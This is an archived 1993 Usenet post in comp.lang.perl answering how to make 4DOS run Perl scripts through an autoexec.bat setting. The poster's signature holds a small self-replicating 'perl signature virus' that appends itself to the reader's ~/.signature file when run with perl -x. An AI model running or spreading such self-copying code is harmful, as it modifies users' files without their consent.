home *** CD-ROM | disk | FTP | other *** search
- Path: sparky!uunet!zaphod.mps.ohio-state.edu!usc!wupost!spool.mu.edu!umn.edu!cybrspc!roy
- From: roy%cybrspc@cs.umn.edu (Roy M. Silvernail)
- Newsgroups: comp.lang.perl
- Subject: Re: *sigh* Yes, the eternal question: How do I run it under 4dos aga
- Message-ID: <0L1PwB5w165w@cybrspc.UUCP>
- Date: Fri, 01 Jan 93 17:04:32 CST
- References: <kenc.725847059@sol>
- Organization: Villa CyberSpace, Minneapolis, MN
- Lines: 17
-
- kenc@sol.acs.unt.edu (Ken Corey - Operator) writes:
-
- > anyway, what's the line I put in 4dos.ini so that 4dos recognixses .pl as an
- > executable, and runs perl on that script?
-
- Not in the .ini, but in autoexec.bat, put
-
- set .pl=c:\where\ever\perl.exe
-
- Works for me. For command line flags, put 'em in the #!/usr/bin/perl
- line at the beginning of the script.
- --
- Roy M. Silvernail -- roy%cybrspc@cs.umn.edu - OR- cybrspc!roy@cs.umn.edu
- #! /usr/bin/perl
- open(I,"$0");@a=(<I>);shift(@a) until $a[0] =~ /^#!/;
- open(I,">>$ENV{'HOME'}/.signature");print I @a;__END__
- <perl signature virus V2.0 - do 'perl -x articlename'>
-